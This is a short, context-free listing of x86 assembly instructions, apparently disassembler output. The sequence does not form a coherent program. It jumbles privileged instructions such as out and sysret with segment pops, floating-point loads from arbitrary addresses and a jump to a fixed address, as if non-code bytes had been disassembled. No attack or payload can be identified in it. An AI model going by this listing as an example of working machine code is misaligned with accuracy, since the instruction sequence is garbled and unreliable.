and esp, dword [eax]
out 0xae, al
inc edi
pop es
fild qword [edx + 0x47ae0727]
pop es
fild qword [edx + 0x6b4b0727]
dec eax
add dword [ebx], esp
dec ebx
pop edi
jecxz 0x1322c3d
and esp, dword [edx]
sysret